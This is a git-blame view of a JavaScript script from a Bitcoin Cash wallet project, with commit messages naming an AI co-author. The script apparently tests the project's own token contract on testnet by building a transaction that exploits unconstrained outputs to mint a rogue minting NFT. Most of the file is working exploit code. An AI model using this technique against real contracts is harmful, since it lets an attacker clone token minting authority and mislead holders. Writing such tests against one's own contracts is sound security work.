chore: initial project baseline — full Deviant codebase under version control
Brings the whole project into git (previously only the on-ramp feature and
a few parallel files were tracked). Includes: wallet core (src/), CashScript
contracts/, the Capacitor shell (shells/), scripts/, tests, and the docs
corpus (wiki/, snapshots/, Parameters/, Archive/, KnowledgeBase text).
Excluded via .gitignore: node_modules/, dist/, .env (secrets), testnet WIF
key files (.chipnet-*.json, devWallets.ts), KnowledgeBase/RAW media (~9.6 GB),
transcripts/ (session logs), and machine-local config (.claude/*.local,
*.lock). Secret-scanned before commit — no credentials in the tree.
Note: src/swapMath.ts, src/swapBuilder.ts, contracts/OpenMintToken.cash are
legacy (OP_RETURN era) but still imported; committed as-is, flagged for a
separate removal once de-referenced.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-06-13 20:38:07 +02:00
|
|
|
#!/usr/bin/env node
|
|
|
|
|
/**
|
|
|
|
|
* chipnet-attack-rogue-nft.mjs — does the contract allow claimers to grab
|
|
|
|
|
* a rogue minting NFT of the same category?
|
|
|
|
|
*
|
|
|
|
|
* Test: Wallet B calls claim(1, walletBBytecode) on Token A normally, BUT
|
|
|
|
|
* appends an extra output containing a new minting NFT of Token A's
|
|
|
|
|
* category, sent to Wallet B's token-address.
|
|
|
|
|
*
|
|
|
|
|
* Per CHIP-2022-02-CashTokens consensus, a minting NFT input authorises
|
|
|
|
|
* arbitrarily many new NFTs of the same category in outputs — any
|
|
|
|
|
* capability. Our DeviantOpenMintFT contract constrains only outputs
|
|
|
|
|
* [0], [1], and (when feeBps > 0) [2]. It does not constrain outputs
|
|
|
|
|
* beyond that. So if the attacker adds output[2] (since feeBps=0 on
|
|
|
|
|
* Token A, no constraint there either) carrying a fresh minting NFT,
|
|
|
|
|
* consensus should accept it.
|
|
|
|
|
*
|
|
|
|
|
* Expected result: ATTACK SUCCEEDS. Wallet B walks away with a legit
|
|
|
|
|
* Token A FT UTXO AND a rogue minting NFT for Token A's category.
|
|
|
|
|
*
|
|
|
|
|
* Significance: an attacker can clone the declaration authority of any
|
|
|
|
|
* Deviant token they have BCH to claim from. The reservoir is unaffected,
|
|
|
|
|
* the rate peg is unaffected, but the category now has multiple minting
|
|
|
|
|
* NFTs — wallets relying on "is this the canonical declaration" will
|
|
|
|
|
* have trouble.
|
|
|
|
|
*/
|
|
|
|
|
import { readFileSync } from 'node:fs';
|
|
|
|
|
import { join } from 'node:path';
|
|
|
|
|
import { TestNetWallet } from 'mainnet-js';
|
|
|
|
|
import {
|
|
|
|
|
Contract,
|
|
|
|
|
ElectrumNetworkProvider,
|
|
|
|
|
TransactionBuilder,
|
|
|
|
|
SignatureTemplate,
|
|
|
|
|
} from 'cashscript';
|
|
|
|
|
|
|
|
|
|
const ROOT = join(import.meta.dirname, '..');
|
|
|
|
|
const KEYS_B = join(ROOT, '.chipnet-keys-b.json');
|
chore: checkpoint working tree — shell Tier-B retirement + accumulated WIP
Snapshot of accumulated work-in-progress on top of the baseline commit.
This session — retire Tier B from the wallet shell (single-tier model, glossary
"Tiers & trust"):
- SendFlow.tsx: BCH-only; removed the non-functional Tier-B send path, the D-4/D-5
raw-BCH co-display, and the ADR-0013 friction ladder.
- ArtemisionScreen.tsx: Create wizard collapsed to a single 5-step on-chain genesis
flow; tier-selection step + Tier-B branch (prepareTierBImport) deleted.
- QuickActions.tsx / SettingsScreen.tsx: receive note reworded; "Send friction
thresholds" + "Tier explainer" rows removed; registry-trust note reworded.
- Verified: tsc clean, vitest 74/74, full preview walkthrough, no console errors.
Pre-existing uncommitted work also folded in:
- USDm -> FIATm family rename/reorg (Parameters/FIATm/, design records)
- ~130 chipnet + sim-fiatm scripts (catalytic-converter, hyperinflation backtests)
- snapshots 0153-0168; wiki updates (glossary, decisions, index); ADR-0044/0045
- mockups + additional shell screens (Agora, Apps, MainScreen, AssetDetail, ...)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-17 01:01:37 +02:00
|
|
|
const TOKENS_FILE = join(ROOT, 'ChipnetTests', '.chipnet-tokens.json');
|
chore: initial project baseline — full Deviant codebase under version control
Brings the whole project into git (previously only the on-ramp feature and
a few parallel files were tracked). Includes: wallet core (src/), CashScript
contracts/, the Capacitor shell (shells/), scripts/, tests, and the docs
corpus (wiki/, snapshots/, Parameters/, Archive/, KnowledgeBase text).
Excluded via .gitignore: node_modules/, dist/, .env (secrets), testnet WIF
key files (.chipnet-*.json, devWallets.ts), KnowledgeBase/RAW media (~9.6 GB),
transcripts/ (session logs), and machine-local config (.claude/*.local,
*.lock). Secret-scanned before commit — no credentials in the tree.
Note: src/swapMath.ts, src/swapBuilder.ts, contracts/OpenMintToken.cash are
legacy (OP_RETURN era) but still imported; committed as-is, flagged for a
separate removal once de-referenced.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-06-13 20:38:07 +02:00
|
|
|
const ARTIFACT_PATH = join(ROOT, 'contracts/dist/DeviantOpenMintFT.json');
|
|
|
|
|
|
|
|
|
|
const CLAIM_AMOUNT = 1n; // tiny legitimate claim, just enough to exercise the path
|
|
|
|
|
|
|
|
|
|
function hexToBin(hex) {
|
|
|
|
|
if (hex.length % 2 !== 0) throw new Error(`odd hex length: ${hex.length}`);
|
|
|
|
|
const out = new Uint8Array(hex.length / 2);
|
|
|
|
|
for (let i = 0; i < out.length; i++) out[i] = parseInt(hex.slice(i * 2, i * 2 + 2), 16);
|
|
|
|
|
return out;
|
|
|
|
|
}
|
|
|
|
|
function txidToConsensusBytes(txidHex) {
|
|
|
|
|
const display = hexToBin(txidHex);
|
|
|
|
|
const out = new Uint8Array(display.length);
|
|
|
|
|
for (let i = 0; i < display.length; i++) out[i] = display[display.length - 1 - i];
|
|
|
|
|
return out;
|
|
|
|
|
}
|
|
|
|
|
function p2pkhLockingBytecode(pkh) {
|
|
|
|
|
const out = new Uint8Array(25);
|
|
|
|
|
out[0] = 0x76; out[1] = 0xa9; out[2] = 0x14;
|
|
|
|
|
out.set(pkh, 3);
|
|
|
|
|
out[23] = 0x88; out[24] = 0xac;
|
|
|
|
|
return out;
|
|
|
|
|
}
|
|
|
|
|
function divider() { console.log('='.repeat(72)); }
|
|
|
|
|
|
|
|
|
|
async function main() {
|
|
|
|
|
const { wif } = JSON.parse(readFileSync(KEYS_B, 'utf8'));
|
|
|
|
|
const tokens = JSON.parse(readFileSync(TOKENS_FILE, 'utf8'));
|
|
|
|
|
const tokenA = tokens.tokens.find((t) => t.name === 'TokenA');
|
|
|
|
|
const artifact = JSON.parse(readFileSync(ARTIFACT_PATH, 'utf8'));
|
|
|
|
|
|
|
|
|
|
const attacker = await TestNetWallet.fromWIF(wif);
|
|
|
|
|
const provider = new ElectrumNetworkProvider('chipnet');
|
|
|
|
|
const sigTemplate = new SignatureTemplate(attacker.privateKey);
|
|
|
|
|
|
|
|
|
|
const tokenCategory = txidToConsensusBytes(tokenA.categoryId);
|
|
|
|
|
const founderLockingBytecode = hexToBin(tokenA.founderLockingBytecodeHex);
|
|
|
|
|
const contract = new Contract(
|
|
|
|
|
artifact,
|
|
|
|
|
[tokenCategory, BigInt(tokenA.rateSats), BigInt(tokenA.founderFeeBps), founderLockingBytecode],
|
|
|
|
|
{ provider },
|
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
const reservoirUtxos = await provider.getUtxos(contract.tokenAddress);
|
|
|
|
|
const reservoir = reservoirUtxos.find(
|
|
|
|
|
(u) => u.token?.nft?.capability === 'minting' && u.token?.category === tokenA.categoryId,
|
|
|
|
|
);
|
|
|
|
|
if (!reservoir) throw new Error('Reservoir not found at Token A contract');
|
|
|
|
|
|
|
|
|
|
const attackerUtxos = await provider.getUtxos(attacker.cashaddr);
|
|
|
|
|
const bchUtxos = attackerUtxos.filter((u) => !u.token);
|
|
|
|
|
if (bchUtxos.length === 0) throw new Error('Attacker has no BCH UTXO');
|
|
|
|
|
const feeInput = bchUtxos[0];
|
|
|
|
|
|
|
|
|
|
const rateSats = BigInt(tokenA.rateSats);
|
|
|
|
|
const grossSats = CLAIM_AMOUNT * rateSats; // 1000 sats backing for legit claim
|
|
|
|
|
const rogueNftSats = 1000n; // dust for the rogue NFT UTXO
|
|
|
|
|
const minerFee = 3000n; // generous; more outputs than usual
|
|
|
|
|
const recipientLockingBytecode = p2pkhLockingBytecode(attacker.publicKeyHash);
|
|
|
|
|
const reservoirRemaining = reservoir.token.amount - CLAIM_AMOUNT;
|
|
|
|
|
|
|
|
|
|
const inputTotal = BigInt(reservoir.satoshis) + BigInt(feeInput.satoshis);
|
|
|
|
|
const change = inputTotal - 1000n - grossSats - rogueNftSats - minerFee;
|
|
|
|
|
if (change < 546n) {
|
|
|
|
|
throw new Error(`Change ${change} below dust. inputs=${inputTotal} ...`);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
divider();
|
|
|
|
|
console.log('TOKEN A ROGUE MINTING NFT ATTACK');
|
|
|
|
|
divider();
|
|
|
|
|
console.log(` Target contract: ${contract.tokenAddress}`);
|
|
|
|
|
console.log(` Legit claim: ${CLAIM_AMOUNT} Token A units (${grossSats} sat backing)`);
|
|
|
|
|
console.log(` Rogue grab: 1 minting NFT of Token A category to Wallet B`);
|
|
|
|
|
console.log(` Total BCH outflow: ${grossSats + rogueNftSats + minerFee} sats (claim + NFT dust + fee)`);
|
|
|
|
|
console.log(` Attacker BCH input: ${feeInput.satoshis} sats`);
|
|
|
|
|
console.log(` Change: ${change} sats`);
|
|
|
|
|
divider();
|
|
|
|
|
|
|
|
|
|
const tb = new TransactionBuilder({ provider });
|
|
|
|
|
tb.addInput(reservoir, contract.unlock.claim(CLAIM_AMOUNT, recipientLockingBytecode));
|
|
|
|
|
tb.addInput(feeInput, sigTemplate.unlockP2PKH());
|
|
|
|
|
|
|
|
|
|
// [0] Reservoir back to contract — constrained by contract.
|
|
|
|
|
tb.addOutput({
|
|
|
|
|
to: contract.tokenAddress,
|
|
|
|
|
amount: 1000n,
|
|
|
|
|
token: {
|
|
|
|
|
amount: reservoirRemaining,
|
|
|
|
|
category: tokenA.categoryId,
|
|
|
|
|
nft: { capability: 'minting', commitment: '' },
|
|
|
|
|
},
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
// [1] Legit FT to Wallet B — constrained by contract.
|
|
|
|
|
tb.addOutput({
|
|
|
|
|
to: attacker.tokenaddr,
|
|
|
|
|
amount: grossSats,
|
|
|
|
|
token: { amount: CLAIM_AMOUNT, category: tokenA.categoryId },
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
// [2] ROGUE MINTING NFT to Wallet B — UNCONSTRAINED by contract.
|
|
|
|
|
// Token A's feeBps == 0, so no fee output is required, and no
|
|
|
|
|
// `tx.outputs[2].tokenCategory == 0x` check fires. This output can
|
|
|
|
|
// carry whatever it wants. Consensus permits a new minting NFT here
|
|
|
|
|
// because the reservoir input has minting capability.
|
|
|
|
|
tb.addOutput({
|
|
|
|
|
to: attacker.tokenaddr,
|
|
|
|
|
amount: rogueNftSats,
|
|
|
|
|
token: {
|
|
|
|
|
amount: 0n,
|
|
|
|
|
category: tokenA.categoryId,
|
|
|
|
|
nft: { capability: 'minting', commitment: '' },
|
|
|
|
|
},
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
// [3] BCH change.
|
|
|
|
|
tb.addOutput({ to: attacker.cashaddr, amount: change });
|
|
|
|
|
|
|
|
|
|
const sent = await tb.send();
|
|
|
|
|
const txid = typeof sent === 'string' ? sent : sent?.txid ?? sent?.txId;
|
|
|
|
|
console.log('');
|
|
|
|
|
console.log(`*** ROGUE-NFT ATTACK TXID: ${txid} ***`);
|
|
|
|
|
divider();
|
|
|
|
|
console.log('Verify: Wallet B should now hold (a) the legit FT UTXO and');
|
|
|
|
|
console.log('(b) a rogue minting NFT for Token A category.');
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
main().catch((err) => {
|
|
|
|
|
console.error('FAILED:', err?.message ?? err);
|
|
|
|
|
if (err?.stack) console.error(err.stack);
|
|
|
|
|
process.exit(1);
|
|
|
|
|
});
|